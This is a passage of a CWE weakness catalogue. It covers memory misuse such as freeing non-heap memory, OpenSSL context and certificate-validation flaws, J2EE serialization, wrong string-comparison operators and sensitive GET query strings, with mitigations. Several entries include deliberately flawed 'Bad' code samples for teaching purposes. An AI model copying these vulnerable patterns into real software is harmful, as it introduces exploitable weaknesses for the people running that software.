Availability	DoS: Crash, Exit, or Restart *Execution may end due to a memory access error.*	

Potential Mitigations

Phase: Requirements

The choice could be made to use a language that is not susceptible to these issues.

Phase: Implementation

Review of type casting operations can identify locations where incompatible types are cast.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C *(Bad)*

```c
struct foo
{
   int i;
}
...
int main(int argc, char **argv)
{
   *foo = (struct foo *)main;
   foo->i = 2;
   return foo->i;
}
```

Observed Examples

Reference	Description
CVE-2021-3510	JSON decoder accesses a C union using an invalid offset to an object *https://www.cve.org/CVERecord?id=CVE-2021-3510*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	971	SFP Secondary Cluster: Faulty Pointer Use	888	2426
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2566

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP7		Faulty Pointer Use

CWE-589: Call to Non-ubiquitous API

Weakness ID : 589
Structure : Simple
Abstraction : Variant

Description

The product uses an API function that does not exist on all versions of the target platform. This could cause portability problems or inconsistencies that allow denial of service or other consequences.

Extended Description

Some functions that offer security features supported by the OS are not available on all versions of the OS in common use. Likewise, functions are often deprecated or made obsolete for security reasons and should not be used.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	474	Use of Function with Inconsistent Implementations	1136

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Always test your code on any platform on which it is targeted to run on.

Phase: Testing

Test your code on the newest and oldest platform on which it is targeted to run on.

Phase: Testing

Develop a system to test for API functions that are not portable.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	850	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)	844	2385
MemberOf	C	858	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)	844	2390
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2441
MemberOf	C	1140	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)	1133	2468
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MET02-J		Do not use deprecated or obsolete classes or methods
The CERT Oracle Secure Coding Standard for Java (2011)	SER00-J		Maintain serialization compatibility during class evolution
Software Fault Patterns	SFP3		Use of an improper API

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
96	Block Access to Libraries

CWE-590: Free of Memory not on the Heap

Weakness ID : 590
Structure : Simple
Abstraction : Variant

Description

The product calls free() on a pointer to memory that was not allocated using associated heap allocation functions such as malloc(), calloc(), or realloc().

Extended Description

When free() is called on an invalid pointer, the program's memory management data structures may become corrupted. This corruption can cause the program to crash or, in some circumstances, an attacker may be able to cause free() to operate on controllable memory locations to modify critical program variables or execute code.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	762	Mismatched Memory Management Routines	1605
CanPrecede	B	123	Write-what-where Condition	329

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands Modify Memory *There is the potential for arbitrary code execution with privileges of the vulnerable program via a "write, what where" primitive. If pointers to memory which hold user information are freed, a malicious user will be able to write 4 bytes anywhere in memory.*	

Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness = High

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Only free pointers that you have called malloc on previously. This is the recommended solution. Keep track of which pointers point at the beginning of valid chunks and free them only once.

Phase: Implementation

Before freeing a pointer, the programmer should make sure that the pointer was previously allocated on the heap and that the memory belongs to the programmer. Freeing an unallocated pointer will cause undefined behavior in the program.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, glibc in Linux provides protection against free of invalid pointers.

Phase: Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

Phase: Testing

Use a tool that dynamically detects memory management problems, such as valgrind.

Demonstrative Examples

Example 1:

In this example, an array of record_t structs, bar, is allocated automatically on the stack as a local variable and the programmer attempts to call free() on the array. The consequences will vary based on the implementation of free(), but it will not succeed in deallocating the memory.

Example Language: C *(Bad)*

```c
void foo(){
  record_t bar[MAX_SIZE];
  /* do something interesting with bar */
  ...
  free(bar);
}
```

This example shows the array allocated globally, as part of the data segment of memory and the programmer attempts to call free() on the array.

Example Language: C *(Bad)*

```
record_t bar[MAX_SIZE]; //Global var
void foo(){
  /* do something interesting with bar */
  ...
  free(bar);
}
```

Instead, if the programmer wanted to dynamically manage the memory, malloc() or calloc() should have been used.

Example Language: *(Good)*

```
void foo(){
  record_t *bar = (record_t*)malloc(MAX_SIZE*sizeof(record_t));
  /* do something interesting with bar */
  ...
  free(bar);
}
```

Additionally, you can pass global variables to free() when they are pointers to dynamically allocated memory.

Example Language: *(Good)*

```
record_t *bar; //Global var
void foo(){
  bar = (record_t*)malloc(MAX_SIZE*sizeof(record_t));
  /* do something interesting with bar */
  ...
  free(bar);
}
```

Affected Resources

- Memory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	2367
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2398
MemberOf	C	969	SFP Secondary Cluster: Faulty Memory Release	888	2425
MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	2479
MemberOf	C	1172	SEI CERT C Coding Standard - Guidelines 51. Microsoft Windows (WIN)	1154	2485
MemberOf	C	1399	Comprehensive Categorization: Memory Safety	1400	2546

Notes

Other

In C++, if the new operator was used to allocate the memory, it may be allocated with the malloc(), calloc() or realloc() family of functions in the implementation. Someone aware of this behavior might choose to map this problem to CWE-590 or to its parent, CWE-762, depending on their perspective.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MEM34-C	Exact	Only free memory allocated dynamically
CERT C Secure Coding	WIN30-C	Imprecise	Properly pair allocation and deallocation functions
Software Fault Patterns	SFP12		Faulty Memory Release

References

[REF-480]"Valgrind". < http://valgrind.org/ >.

CWE-591: Sensitive Data Storage in Improperly Locked Memory

Weakness ID : 591
Structure : Simple
Abstraction : Variant

Description

The product stores sensitive data in memory that is not locked, or that has been incorrectly locked, which might cause the memory to be written to swap files on disk by the virtual memory manager. This can make the data more accessible to external actors.

Extended Description

On Windows systems the VirtualLock function can lock a page of memory to ensure that it will remain present in memory and not be swapped to disk. However, on older versions of Windows, such as 95, 98, or Me, the VirtualLock() function is only a stub and provides no protection. On POSIX systems the mlock() call ensures that a page will stay resident in memory but does not guarantee that the page will not appear in the swap. Therefore, it is unsuitable for use as a protection mechanism for sensitive data. Some platforms, in particular Linux, do make the guarantee that the page will not be swapped, but this is non-standard and is not portable. Calls to mlock() also require supervisor privilege. Return values for both of these calls must be checked to ensure that the lock operation was actually successful.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	413	Improper Resource Locking	1010

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Memory *Sensitive data that is written to a swap file may be exposed.*	

Potential Mitigations

Phase: Architecture and Design

Identify data that needs to be protected from swapping and choose platform-appropriate protection mechanisms.

Phase: Implementation

Check return values to ensure locking operations are successful.

Affected Resources

- Memory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	2359
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	2367
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2398
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	C	1401	Comprehensive Categorization: Concurrency	1400	2547

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage
CERT C Secure Coding	MEM06-C		Ensure that sensitive data is not written out to disk
Software Fault Patterns	SFP23		Exposed Data

CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created

Weakness ID : 593
Structure : Simple
Abstraction : Variant

Description

The product modifies the SSL context after connection creation has begun.

Extended Description

If the program modifies the SSL_CTX object after creating SSL objects from it, there is the possibility that older SSL objects created from the original context could all be affected by that change.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1390	Weak Authentication	2279
ChildOf	C	666	Operation on Resource in Wrong Phase of Lifetime	1471

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	2445

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *No authentication takes place in this process, bypassing an assumed protection of encryption.*	
Confidentiality	Read Application Data *The encrypted communication between a user and a trusted host may be subject to a sniffing attack.*	

Potential Mitigations

Phase: Architecture and Design

Use a language or a library that provides a cryptography framework at a higher level of abstraction.

Phase: Implementation

Most SSL_CTX functions have SSL counterparts that act on SSL-type objects.

Phase: Implementation

Applications should set up an SSL_CTX completely, before creating SSL objects from it.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C *(Bad)*

```
#define CERT "secret.pem"
#define CERT2 "secret2.pem"
int main(){
  SSL_CTX *ctx;
  SSL *ssl;
  init_OpenSSL();
  seed_prng();
  ctx = SSL_CTX_new(SSLv23_method());
  if (SSL_CTX_use_certificate_chain_file(ctx, CERT) != 1)
    int_error("Error loading certificate from file");
  if (SSL_CTX_use_PrivateKey_file(ctx, CERT, SSL_FILETYPE_PEM) != 1)
    int_error("Error loading private key from file");
  if (!(ssl = SSL_new(ctx)))
    int_error("Error creating an SSL context");
  if ( SSL_CTX_set_default_passwd_cb(ctx, "new default password" != 1))
    int_error("Doing something which is dangerous to do anyways");
  if (!(ssl2 = SSL_new(ctx)))
    int_error("Error creating an SSL context");
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	948	SFP Secondary Cluster: Digital Certificate	888	2416

Nature	Type	ID	Name	V	Page
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2540

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
94	Adversary in the Middle (AiTM)

CWE-594: J2EE Framework: Saving Unserializable Objects to Disk

Weakness ID : 594
Structure : Simple
Abstraction : Variant

Description

When the J2EE container attempts to write unserializable objects to disk there is no guarantee that the process will complete successfully.

Extended Description

In heavy load conditions, most J2EE application frameworks flush objects to disk to manage memory requirements of incoming requests. For example, session scoped objects, and even application scoped objects, are written to disk when required. While these application frameworks do the real work of writing objects to disk, they do not enforce that those objects be serializable, thus leaving the web application vulnerable to crashes induced by serialization failure. An attacker may be able to mount a denial of service attack by sending enough requests to the server to force the web application to save objects to disk.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1076	Insufficient Adherence to Expected Conventions	1925

Weakness Ordinalities

Indirect :

Primary :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *Data represented by unserializable objects can be corrupted.*	
Availability	DoS: Crash, Exit, or Restart *Non-serializability of objects can lead to system crash.*	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

All objects that become part of session and application scope must implement the java.io.Serializable interface to ensure serializability of containing objects.

Demonstrative Examples

Example 1:

In the following Java example, a Customer Entity JavaBean provides access to customer information in a database for a business application. The Customer Entity JavaBean is used as a session scoped object to return customer information to a Session EJB.

Example Language: Java *(Bad)*

```
@Entity
public class Customer {
  private String id;
  private String firstName;
  private String lastName;
  private Address address;
  public Customer() {
  }
  public Customer(String id, String firstName, String lastName) {...}
  @Id
  public String getCustomerId() {...}
  public void setCustomerId(String id) {...}
  public String getFirstName() {...}
  public void setFirstName(String firstName) {...}
  public String getLastName() {...}
  public void setLastName(String lastName) {...}
  @OneToOne()
  public Address getAddress() {...}
  public void setAddress(Address address) {...}
}
```

However, the Customer Entity JavaBean is an unserialized object which can cause serialization failure and crash the application when the J2EE container attempts to write the object to the system. Session scoped objects must implement the Serializable interface to ensure that the objects serialize properly.

Example Language: Java *(Good)*

```
public class Customer implements Serializable {...}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2440
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP1		Glitch in computation

CWE-595: Comparison of Object References Instead of Object Contents

Weakness ID : 595

Structure : Simple
Abstraction : Variant

Description

The product compares object references instead of the contents of the objects themselves, preventing it from detecting equivalent objects.

Extended Description

For example, in Java, comparing objects using == usually produces deceptive results, since the == operator compares object references rather than values; often, this means that using == for strings is actually comparing the strings' references, not their values.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1025	Comparison Using Wrong Factors	1878
ParentOf	V	597	Use of Wrong Operator in String Comparison	1345

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ParentOf	V	597	Use of Wrong Operator in String Comparison	1345
ParentOf	B	1097	Persistent Storable Data Element without Associated Comparison Control Element	1946

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Language : JavaScript *(Prevalence = Undetermined)*

Language : PHP *(Prevalence = Undetermined)*

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context *This weakness can lead to erroneous results that can cause unexpected application behaviors.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

In Java, use the equals() method to compare objects instead of the == operator. If using ==, it is important for performance reasons that your objects are created by a static factory, not by a constructor.

Demonstrative Examples

Example 1:

In the example below, two Java String objects are declared and initialized with the same string values. An if statement is used to determine if the strings are equivalent.

Example Language: Java *(Bad)*

```
String str1 = new String("Hello");
String str2 = new String("Hello");
if (str1 == str2) {
  System.out.println("str1 == str2");
}
```

However, the if statement will not be executed as the strings are compared using the "==" operator. For Java objects, such as String objects, the "==" operator compares object references, not object values. While the two String objects above contain the same string values, they refer to different object references, so the System.out.println statement will not be executed. To compare object values, the previous code could be modified to use the equals method:

Example Language: *(Good)*

```
if (str1.equals(str2)) {
  System.out.println("str1 equals str2");
}
```

Example 2:

In the following Java example, two BankAccount objects are compared in the isSameAccount method using the == operator.

Example Language: Java *(Bad)*

```
public boolean isSameAccount(BankAccount accountA, BankAccount accountB) {
  return accountA == accountB;
}
```

Using the == operator to compare objects may produce incorrect or deceptive results by comparing object references rather than values. The equals() method should be used to ensure correct results or objects should contain a member variable that uniquely identifies the object.

The following example shows the use of the equals() method to compare the BankAccount objects and the next example uses a class get method to retrieve the bank account number that uniquely identifies the BankAccount object to compare the objects.

Example Language: Java *(Good)*

```
public boolean isSameAccount(BankAccount accountA, BankAccount accountB) {
  return accountA.equals(accountB);
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	847	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 4 - Expressions (EXP)	844	2384
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	977	SFP Secondary Cluster: Design	888	2428
MemberOf	C	1136	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 02. Expressions (EXP)	1133	2466
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2504
MemberOf	C	1397	Comprehensive Categorization: Comparison	1400	2544

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	EXP02-J		Use the two-argument Arrays.equals() method to compare the contents of arrays
The CERT Oracle Secure Coding Standard for Java (2011)	EXP02-J		Use the two-argument Arrays.equals() method to compare the contents of arrays
The CERT Oracle Secure Coding Standard for Java (2011)	EXP03-J		Do not use the equality operators when comparing values of boxed primitives

References

[REF-954]Mozilla MDN. "Equality comparisons and sameness". < https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness >.2017-11-17.

CWE-597: Use of Wrong Operator in String Comparison

Weakness ID : 597
Structure : Simple
Abstraction : Variant

Description

The product uses the wrong operator when comparing a string, such as using "==" when the .equals() method should be used instead.

Extended Description

In Java, using == or != to compare two strings for equality actually compares two objects for equality rather than their string values for equality. Chances are good that the two references will never be equal. While this weakness often only affects program correctness, if the equality is used for a security decision, the unintended comparison result could be leveraged to affect program security.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	480	Use of Incorrect Operator	1157
ChildOf	V	595	Comparison of Object References Instead of Object Contents	1342

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf	V	595	Comparison of Object References Instead of Object Contents	1342

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Within Java, use .equals() to compare string values. Within JavaScript, use == to compare string values. Within PHP, use == to compare a numeric value to a string value. (PHP converts the string to a number.)

Effectiveness = High

Demonstrative Examples

Example 1:

In the example below, two Java String objects are declared and initialized with the same string values. An if statement is used to determine if the strings are equivalent.

Example Language: Java *(Bad)*

```
String str1 = new String("Hello");
String str2 = new String("Hello");
if (str1 == str2) {
  System.out.println("str1 == str2");
}
```

However, the if statement will not be executed as the strings are compared using the "==" operator. For Java objects, such as String objects, the "==" operator compares object references, not object values. While the two String objects above contain the same string values, they refer to different object references, so the System.out.println statement will not be executed. To compare object values, the previous code could be modified to use the equals method:

Example Language: *(Good)*

```
if (str1.equals(str2)) {
  System.out.println("str1 equals str2");
}
```

Example 2:

In the example below, three JavaScript variables are declared and initialized with the same values. Note that JavaScript will change a value between numeric and string as needed, which is the reason an integer is included with the strings. An if statement is used to determine whether the values are the same.

Example Language: JavaScript *(Bad)*

```
<p id="ieq3s1" type="text">(i === s1) is FALSE</p>
<p id="s4eq3i" type="text">(s4 === i) is FALSE</p>
<p id="s4eq3s1" type="text">(s4 === s1) is FALSE</p>
var i = 65;
var s1 = '65';
var s4 = new String('65');
if (i === s1)
{
  document.getElementById("ieq3s1").innerHTML = "(i === s1) is TRUE";
}
if (s4 === i)
{
  document.getElementById("s4eq3i").innerHTML = "(s4 === i) is TRUE";
}
if (s4 === s1)
{
  document.getElementById("s4eq3s1").innerHTML = "(s4 === s1) is TRUE";
}
```

However, the body of the if statement will not be executed, as the "===" compares both the type of the variable AND the value. As the types of the first comparison are number and string, it fails. The types in the second are int and reference, so this one fails as well. The types in the third are reference and string, so it also fails.

While the variables above contain the same values, they are contained in different types, so the document.getElementById... statement will not be executed in any of the cases.

To compare object values, the previous code is modified and shown below to use the "==" for value comparison so the comparison in this example executes the HTML statement:

Example Language: JavaScript *(Good)*

```
<p id="ieq2s1" type="text">(i == s1) is FALSE</p>
<p id="s4eq2i" type="text">(s4 == i) is FALSE</p>
<p id="s4eq2s1" type="text">(s4 == s1) is FALSE</p>
var i = 65;
var s1 = '65';
var s4 = new String('65');
if (i == s1)
{
  document.getElementById("ieq2s1").innerHTML = "(i == s1) is TRUE";
}
if (s4 == i)
{
  document.getElementById("s4eq2i").innerHTML = "(s4 == i) is TRUE";
}
if (s4 == s1)
{
  document.getElementById("s4eq2s1").innerHTML = "(s4 == s1) is TRUE";
}
```

Example 3:

In the example below, two PHP variables are declared and initialized with the same numbers - one as a string, the other as an integer. Note that PHP will change the string value to a number for a comparison. An if statement is used to determine whether the values are the same.

Example Language: PHP *(Bad)*

```
var $i = 65;
var $s1 = "65";
if ($i === $s1)
{
   echo '($i === $s1) is TRUE'. "\n";
}
else
{
   echo '($i === $s1) is FALSE'. "\n";
}
```

However, the body of the if statement will not be executed, as the "===" compares both the type of the variable AND the value. As the types of the first comparison are number and string, it fails.

While the variables above contain the same values, they are contained in different types, so the TRUE portion of the if statement will not be executed.

To compare object values, the previous code is modified and shown below to use the "==" for value comparison (string converted to number) so the comparison in this example executes the TRUE statement:

Example Language: PHP *(Good)*

```
var $i = 65;
var $s1 = "65";
if ($i == $s1)
{
   echo '($i == $s1) is TRUE'. "\n";
}
else
{
   echo '($i == $s1) is FALSE'. "\n";
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	847	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 4 - Expressions (EXP)	844	2384
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2440
MemberOf	C	1136	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 02. Expressions (EXP)	1133	2466
MemberOf	C	1181	SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)	1178	2487
MemberOf	C	1397	Comprehensive Categorization: Comparison	1400	2544

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	EXP03-J		Do not use the equality operators when comparing values of boxed primitives
The CERT Oracle Secure Coding Standard for Java (2011)	EXP03-J		Do not use the equality operators when comparing values of boxed primitives
SEI CERT Perl Coding Standard	EXP35-PL	CWE More Specific	Use the correct operator type for comparing values
Software Fault Patterns	SFP1		Glitch in computation

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-598: Use of GET Request Method With Sensitive Query Strings

Weakness ID : 598
Structure : Simple
Abstraction : Variant

Description

The web application uses the HTTP GET method to process a request and includes sensitive information in the query string of that request.

Extended Description

The query string for the URL could be saved in the browser's history, passed through Referers to other web sites, stored in web logs, or otherwise recorded in other sources. If the query string contains sensitive information such as session identifiers, then attackers can use this information to launch further attacks.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	201	Insertion of Sensitive Information Into Sent Data	521

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *At a minimum, attackers can garner information from query strings that can be utilized in escalating their method of attack, such as information about the internal workings of the application or database column names. Successful exploitation of query string parameter vulnerabilities could lead to an attacker impersonating a legitimate user, obtaining proprietary data, or simply executing actions not intended by the application developers.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

When sensitive information is sent, use the POST method (e.g. registration form).

Observed Examples

Reference	Description
CVE-2022-23546	A discussion platform leaks private information in GET requests. *https://www.cve.org/CVERecord?id=CVE-2022-23546*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	2359
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2512
MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2569

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP23		Exposed Data

CWE-599: Missing Validation of OpenSSL Certificate

Weakness ID : 599
Structure : Simple
Abstraction : Variant

Description

The product uses OpenSSL and trusts or uses a certificate without using the SSL_get_verify_result() function to ensure that the certificate satisfies all necessary security requirements.

Extended Description

This could allow an attacker to use an invalid certificate to claim to be a trusted host, use expired certificates, or conduct other attacks that could be detected if the certificate is properly validated.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	295	Improper Certificate Validation	721

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1014	Identify Actors	2450

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *The data read may not be properly secured, it might be viewed by an attacker.*	
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *Trust afforded to the system in question may allow for spoofing or redirection attacks.*	
Access Control	Gain Privileges or Assume Identity *If the certificate is not checked, it may be possible for a redirection or spoofing attack to allow a malicious host with a valid certificate to provide data under the guise of a trusted host. While the attacker in question may have a valid certificate, it may simply be a valid certificate for a different site. In order to ensure data integrity, we must check that the certificate is valid, and that it pertains to the site we wish to access.*	

Potential Mitigations

Phase: Architecture and Design

Ensure that proper authentication is included in the system design.

Phase: Implementation

